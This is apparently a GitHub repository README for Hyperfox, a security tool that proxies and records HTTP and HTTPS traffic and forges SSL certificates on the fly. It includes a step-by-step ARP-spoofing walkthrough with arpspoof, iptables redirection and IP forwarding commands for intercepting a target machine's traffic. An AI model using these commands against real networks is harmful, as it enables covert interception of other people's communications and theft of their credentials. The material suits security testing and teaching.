pirvu / hyperfox

A security tool for proxying and recording HTTP and HTTPs traffic.

Home Page:https://hyperfox.org

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Hyperfox

Hyperfox is a security tool for proxying and recording HTTP and HTTPs communications on a LAN.

Hyperfox diagram

Hyperfox is capable of forging SSL certificates on the fly using a root CA certificate and its corresponding key (both provided by the user). If the target machine recognizes the root CA as trusted, then HTTPs traffic can be succesfully intercepted and recorded.

Hyperfox SSL

This is the development repository, check out the https://hyperfox.org site for usage information.

Getting Hyperfox

Install with Go and git using go get:

> go get github.com/xiam/hyperfox

Precompiled packages may also be available at the hyperfox.org site.

A common example: hyperfox with arpspoof

The following example assumes that hyperfox is installed on a Linux box (host) on which you have root access or sudo privileges and that the target machine is connected on the same LAN as the host.

We are going to use the arpspoof tool that is part of the dsniff suite to alter the ARP table of the target machine in order to make it redirect its traffic to Hyperfox instead of to the legitimate LAN gateway. This is an ancient technique known as ARP spoofing.

First, identify both the local IP of the legitimate gateway and its matching network interface.

> sudo route
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
default         10.0.0.1        0.0.0.0         UG    1024   0        0 wlan0
...

The interface in our example is called wlan0 and the interface's gateway is 10.0.0.1.

> export HYPERFOX_GW=10.0.0.1
> export HYPERFOX_IFACE=wlan0

Then identify the IP address of the target, let's suppose it is 10.0.0.143.

> export HYPERFOX_TARGET=10.0.0.143

Enable IP forwarding on the host for it to act (temporarily) as a common router.

> sudo sysctl -w net.ipv4.ip_forward=1

Issue an iptables rule to instruct the host to redirect all traffic that goes to port 80 (commonly HTTP) to a local port where Hyperfox is listening to (1080).

> sudo iptables -A PREROUTING -t nat -i $HYPERFOX_IFACE -p tcp --destination-port 80 -j REDIRECT --to-port 1080

We're almost ready, prepare hyperfox to receive plain HTTP traffic:

> hyperfox
...
2014/12/31 07:53:29 Listening for incoming HTTP client requests on 0.0.0.0:1080.

Finally, run arpspoof to alter the target's ARP table so it starts sending its network traffic to the host box.

> sudo arpspoof -i $HYPERFOX_IFACE -t $HYPERFOX_TARGET $HYPERFOX_GW

Contributing to Hyperfox development

Sure, there's a lot of opportunity. Choose an issue, fix it and send a pull request.

License

Copyright (c) 2012-2014 José Carlos Nieto, https://menteslibres.net/xiam

Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.

About

A security tool for proxying and recording HTTP and HTTPs traffic.

https://hyperfox.org

License:MIT License


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